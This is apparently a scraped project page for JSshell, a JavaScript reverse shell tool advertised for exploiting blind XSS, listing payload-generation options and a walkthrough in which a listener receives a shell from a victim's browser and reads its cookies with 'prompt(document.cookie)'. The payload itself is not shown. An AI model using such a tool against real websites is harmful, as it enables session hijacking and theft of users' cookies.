Need help with JSshell?
Click the “chat” button below for chat support from the developer who created it, or find similar developers for support.

About the developer

348 Stars 70 Forks 65 Commits 0 Opened issues


JSshell - JavaScript reverse/remote shell

Services available


Need anything else?

Contributors list

# 1,478
68 commits

JSshell - version 3.1


JSshell - a JavaScript reverse shell. This is used for executing JS code remotely, exploiting blind XSS, ...

Requirements: Any OS + Python 2 or Python 3

New in JSshell version 3.1

Updated in the new version of JShell 3.1:

  • New JSshell command:
    -> allows to write a snippet of javascript code
>>> snippet
Use CTRL+D to finish the snippet

function new() { new = 'New update: Support javascript snippet =)'; confirm(new) }

new() >>>

  • Quiet mode (for professionals)
  • Added
     reverse shell payload
  • Fixed some bugs


Generate JS reverse shell payloads:

Set the local port number for listening and generating payloads (Default: 4848):

Set the local source address for generating payloads (Default: auto-detect your IP address):

Set timeout for shell connection (if the user exits the session, the shell will be paused forever, so if your set the timeout, the shell will be closed after exceeds the timeout):

Execute a command after getting the shell:

Example usages:

  • -g
  • -p 1234
  • -s 48.586.1.23 -g
  • -c "alert(document.cookie)" -w 10

An example for running JSshell:

This is a step-by-step example of how to use JSshell.

First, we need to generate a reverse JS shell payload and set the shell timeout (e.g. 20 seconds):

~# whoami
~# ls
~# python3 -g -w 20
  |(_  _ |_  _  |  |
\_|__)_> | |(/_ |  |


Listening on [any] 4848 for incoming JS shell ...

Now paste this payload to the website:

Access the page and we will have the reverse JS shell:

  |(_  _ |_  _  |  |
\_|__)_> | |(/_ |  |


Listening on [any] 4848 for incoming JS shell ... Got JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848 $ established $ the $ shell $ $ $ help JSshell using javascript code as shell commands. Also supports some commands: help This help exit, quit Exit the JS shell $

Let execute some commands:

$ var test = 'controlled'
$ confirm(test)

And an alert will be popped up:

$ prompt(document.cookie)

And the browser will print the user cookies:

$ exit
~# whoami
~# pwd

Now quited!


This is created by shelld3v!

We use cookies. If you continue to browse the site, you agree to the use of cookies. For more information on our use of cookies please see our Privacy Policy.